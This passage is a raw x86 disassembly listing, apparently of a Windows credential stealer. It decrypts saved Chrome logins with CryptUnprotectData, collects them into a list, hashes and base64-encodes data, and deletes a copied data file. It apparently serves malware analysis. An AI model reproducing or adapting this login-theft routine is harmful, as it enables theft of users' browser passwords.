movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x402750
mov esi, dword [esp + 0x2c]
cmp ecx, edi
jae 0x402792
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x10]
nop word [eax + eax]
movsx ax, byte [esi + ecx]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x402780
mov esi, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 1
test eax, eax
je 0x402801
jmp 0x4027b2
push str.NULL_parameter
push 2
call fcn.00408d60
add esp, 8
mov edi, dword [esp + 0x14]
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x4027c0
sub edi, ecx
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [esp + 0x30], edx
test edx, edx
jne 0x402815
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push str.Error_assigning_strings
push 2
call fcn.00408d60
add esp, 8
jmp 0x402928
xor ecx, ecx
test edi, edi
je 0x402922
cmp edi, 4
jb 0x402906
mov eax, dword [esp + 0x14]
lea edx, [edx + edi*2]
mov esi, dword [esp + 0x2c]
dec eax
add eax, edi
add edx, 0xfffffffe
cmp dword [esp + 0x30], eax
ja 0x402849
cmp edx, dword [esp + 0x14]
jae 0x402902
cmp edi, 0x20
jb 0x4028cf
mov edx, dword [esp + 0x14]
mov eax, edi
and eax, 0xffffffe0
add edx, 0x10
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x30]
add eax, 0x20
nop dword [eax]
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x18]
jb 0x402870
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x4028fe
mov edx, dword [esp + 0x14]
mov eax, edi
mov esi, dword [esp + 0x30]
and eax, 0xfffffffc
nop dword [eax]
movd xmm0, dword [ecx + edx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x4028e0
mov esi, dword [esp + 0x2c]
cmp ecx, edi
jae 0x402922
mov edx, dword [esp + 0x30]
mov esi, dword [esp + 0x14]
nop word [eax + eax]
movsx ax, byte [ecx + esi]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x402910
mov esi, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x7c]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x4029d7
call edi
push eax
push str.Could_not_decrypt_data_directly:0x_X
push 2
call fcn.00408d60
add esp, 0xc
mov dword [esp + 0x7c], 0
cmp dword [esp + 0x90], 0
mov dword [esp + 0x80], 0
je 0x4029c8
mov ecx, dword [esp + 0x8c]
lea edx, [esp + 0x58]
mov dword [esp + 0x58], 0xc
lea eax, [ecx + 3]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x88]
add eax, 0xfffffff1
mov dword [esp + 0x6c], eax
lea eax, [ecx + 0xf]
mov dword [esp + 0x70], eax
lea ecx, [esp + 0x90]
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x70]
push eax
call fcn.00404140
add esp, 8
test eax, eax
jne 0x4029d7
push str.Could_not_decrypt_data_for_host
push 2
call fcn.00408d60
add esp, 8
mov edi, dword [esp + 0x7c]
test edi, edi
jne 0x402b05
push dword [esp + 0x38]
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0xa4]
push dword [esp + 0x40]
mov edx, dword [esp + 0x80]
push dword [esp + 0x48]
push dword [esp + 0x50]
push eax
push dword [esp + 0x44]
push dword [esp + 0x3c]
push str.Chrome
call fcn.00408ef0
add esp, 0x20
test eax, eax
je 0x402af1
cmp dword [esp + 0x50], edi
jne 0x402a4c
push str.NULL_List
push 1
call fcn.00408d60
add esp, 8
push str.Cannot_add_new_login
push 1
call fcn.00408d60
add esp, 8
jmp 0x401bb0
push 0xc
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edi, eax
test edi, edi
jne 0x402a74
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error_creating_a_new_list_entry:0x_X
jmp 0x402ae7
push 0x24
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x402ada
movups xmm0, xmmword [esp + 0xa0]
mov eax, dword [esp + 0xc0]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [esp + 0xb0]
movups xmmword [ecx + 0x10], xmm0
mov dword [ecx + 0x20], eax
mov ecx, dword [esp + 0x50]
cmp dword [ecx + 4], 0
jne 0x402ac4
inc dword [ecx]
mov dword [ecx + 4], edi
mov dword [ecx + 8], edi
jmp 0x401bb0
mov eax, dword [ecx + 8]
mov dword [edi + 4], eax
mov eax, dword [ecx + 8]
mov dword [eax + 8], edi
inc dword [ecx]
mov dword [ecx + 8], edi
jmp 0x401bb0
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error_copying_list_value:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push str.Cannot_add_new_login
push 1
call fcn.00408d60
add esp, 8
jmp 0x401bb0
mov eax, dword [esp + 0x80]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 0
test eax, eax
je 0x402c84
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov dword [esp + 0x20], eax
test eax, eax
jne 0x402b5e
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x1c]
add esp, 0xc
jmp 0x402c67
xor ecx, ecx
test edi, edi
je 0x402c62
cmp edi, 4
jb 0x402c42
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
dec eax
add eax, edi
cmp dword [esp + 0x20], eax
ja 0x402b98
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x2c]
add eax, 0xfffffffe
lea eax, [eax + edi*2]
cmp eax, edx
jae 0x402c42
cmp edi, 0x20
jb 0x402c17
mov eax, edi
add edx, 0x10
and eax, 0xffffffe0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x20]
add eax, 0x20
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x10]
jb 0x402bb4
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x402c3e
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x20]
mov eax, edi
and eax, 0xfffffffc
movd xmm0, dword [ecx + edx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x402c20
mov esi, dword [esp + 0x2c]
cmp ecx, edi
jae 0x402c62
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x20]
nop word [eax + eax]
movsx ax, byte [ecx + edx]
mov word [esi + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x402c50
mov esi, dword [esp + 0x2c]
mov eax, 1
test eax, eax
jne 0x402c93
push str.Error_copying_data_to_login_element
push 1
call fcn.00408d60
mov eax, dword [esp + 0x28]
mov dword [esp + 0x28], eax
jmp 0x402fd0
push str.NULL_parameter
push 2
call fcn.00408d60
add esp, 8
xor eax, eax
xorps xmm0, xmm0
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x20]
movlpd qword [esp + 0x98], xmm0
movaps xmmword [esp + 0xd0], xmm0
test eax, eax
je 0x402fb5
mov edx, dword [0x4db45c]
xor edi, edi
test edx, edx
jne 0x402d3f
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x402d04
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_load_ad_lib:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov eax, edi
jmp 0x402e8e
push str.SystemFunction007
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
mov dword [0x4db45c], edx
test edx, edx
jne 0x402d3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_h_function:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x24]
add esp, 0xc
jmp 0x402e60
mov eax, dword [esp + 0x20]
mov ecx, eax
mov dword [esp + 0x9c], eax
lea eax, [ecx + 2]
mov dword [esp + 0x28], eax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402d50
sub ecx, dword [esp + 0x28]
sar ecx, 1
lea eax, [ecx + ecx]
mov word [esp + 0x98], ax
add eax, 2
mov word [esp + 0x9a], ax
lea eax, [esp + 0xd0]
push eax
lea eax, [esp + 0x9c]
push eax
call edx
test eax, eax
jns 0x402da8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_hash:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x402e58
lea eax, [esp + 0x84]
push eax
push 0
push 1
push 0x10
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov eax, dword [esp + 0x84]
test eax, eax
jne 0x402dea
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_size_of_base64_string:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x402e58
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edi, eax
test edi, edi
jne 0x402e19
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_allocate_memory_for_base64_string:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x402e58
lea eax, [esp + 0x84]
push eax
push edi
push 1
push 0x10
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
test eax, eax
jne 0x402e50
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_convert_to_base64:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x402e58
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x18]
test eax, eax
je 0x402e67
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x10]
mov ecx, edi
mov edx, eax
mov dword [esp + 0x18], edx
test eax, eax
jne 0x402e8e
test ecx, ecx
je 0x402e8e
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
xor edi, edi
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], edi
test eax, eax
je 0x402fc4
push dword [esp + 0x38]
mov edx, dword [esp + 0x7c]
lea ecx, [esp + 0xa4]
push dword [esp + 0x40]
mov dword [esp + 0x30], edi
push dword [esp + 0x48]
push dword [esp + 0x50]
push edi
push dword [esp + 0x44]
push dword [esp + 0x3c]
push str.Chrome
call fcn.00408ef0
add esp, 0x20
test eax, eax
je 0x402fac
cmp dword [esp + 0x50], 0
jne 0x402efd
push str.NULL_List
push 1
call fcn.00408d60
add esp, 8
mov dword [esp + 0x28], edi
push str.Cannot_add_new_login
push 1
jmp 0x402fcb
push 0xc
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x402f26
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_creating_a_new_list_entry:0x_X
jmp 0x402f9e
push 0x24
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [esp + 0x18]
mov edx, eax
inc dword [0x4de7b4]
mov dword [ecx], edx
test edx, edx
je 0x402f92
movups xmm0, xmmword [esp + 0xa0]
mov eax, dword [esp + 0xc0]
movups xmmword [edx], xmm0
movups xmm0, xmmword [esp + 0xb0]
movups xmmword [edx + 0x10], xmm0
mov dword [edx + 0x20], eax
mov edx, dword [esp + 0x50]
cmp dword [edx + 4], 0
jne 0x402f7b
inc dword [edx]
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [esp + 0x28], edi
jmp 0x402fd3
mov eax, dword [edx + 8]
mov dword [ecx + 4], eax
mov eax, dword [edx + 8]
mov dword [esp + 0x28], edi
mov dword [eax + 8], ecx
inc dword [edx]
mov dword [edx + 8], ecx
jmp 0x402fd3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_copying_list_value:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov dword [esp + 0x28], edi
push str.Cannot_add_new_login
push 1
jmp 0x402fcb
push str.NULL_parameters
push 1
call fcn.00408d60
add esp, 8
push str.Cannot_get_ph
push 2
call fcn.00408d60
add esp, 8
mov ecx, dword [esp + 0x7c]
mov eax, dword [esp + 0x80]
test ecx, ecx
je 0x402ff4
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402fe2
mov eax, dword [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401bb0
push str.Error_retrieving_login_info
push 2
call fcn.00408d60
add esp, 8
inc dword [esp + 0x48]
jmp 0x401bb0
push str.API_called_with_NULL_prepared_statement
push 0x15
call fcn.00412760
add esp, 8
push 0x4d6ad4
push 0x12f19
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
add esp, 0x14
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
test eax, eax
je 0x40305c
push eax
call edi
dec dword [0x4de7b4]
mov eax, dword [esp + 0x30]
test eax, eax
je 0x40306d
push eax
call edi
dec dword [0x4de7b4]
mov edi, dword [esp + 0x20]
test edi, edi
je 0x4030ad
mov ecx, edi
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403080
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x4030a0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x403095
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov edi, dword [esp + 0x28]
test edi, edi
je 0x403107
mov ecx, edi
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4030c0
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x4030e0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4030d5
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
call edi
dec dword [0x4de7b4]
jmp 0x40310d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_finishing_work_path:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x94]
test eax, eax
je 0x40313e
mov ecx, dword [esp + 0x90]
test ecx, ecx
je 0x403135
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x403123
mov eax, dword [esp + 0x94]
push eax
call edi
dec dword [0x4de7b4]
test esi, esi
je 0x4031f2
mov edi, dword [esi]
test edi, edi
jne 0x40317b
push str.API_called_with_finalized_prepared_statement
push 0x15
call fcn.00412760
push 0x4d6ad4
push 0x12cd5
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
add esp, 0x1c
jmp 0x4031f2
mov eax, dword [edi + 0xc]
test eax, eax
je 0x40318c
push eax
call dword [0x4d9af4]
add esp, 4
cmp dword [esi + 0x84], 0
jl 0x4031a9
jg 0x4031a0
cmp dword [esi + 0x80], 0
jbe 0x4031a9
mov edx, esi
mov ecx, edi
call fcn.00439de0
mov eax, dword [esi + 0x14]
mov dword [esp + 0x4c], 0
cmp eax, 0x2df20da3
je 0x4031c2
cmp eax, 0x319c2973
jne 0x4031cd
mov ecx, esi
call fcn.00437690
mov dword [esp + 0x4c], eax
mov ecx, esi
call fcn.00437c60
cmp byte [edi + 0x49], 0
jne 0x4031e4
cmp dword [esp + 0x4c], 0xc0a
jne 0x4031eb
mov ecx, edi
call fcn.004108e0
mov ecx, edi
call fcn.004a7f80
mov eax, dword [esp + 0x34]
test eax, eax
je 0x403203
xor edx, edx
mov ecx, eax
call fcn.004a7e20
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40322b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_deleting_c_data:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push dword [esp + 0x48]
push dword [esp + 0x58]
push str.Chrome___Number_of_logins_processed:__d__discarded:__d
push 3
call fcn.00408d60
push str.Getting_Chrome_info___
push 3
call fcn.00408d60
mov ecx, dword [esp + 0x1244]
add esp, 0x18
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004ac4d4
mov esp, ebp
pop ebp
ret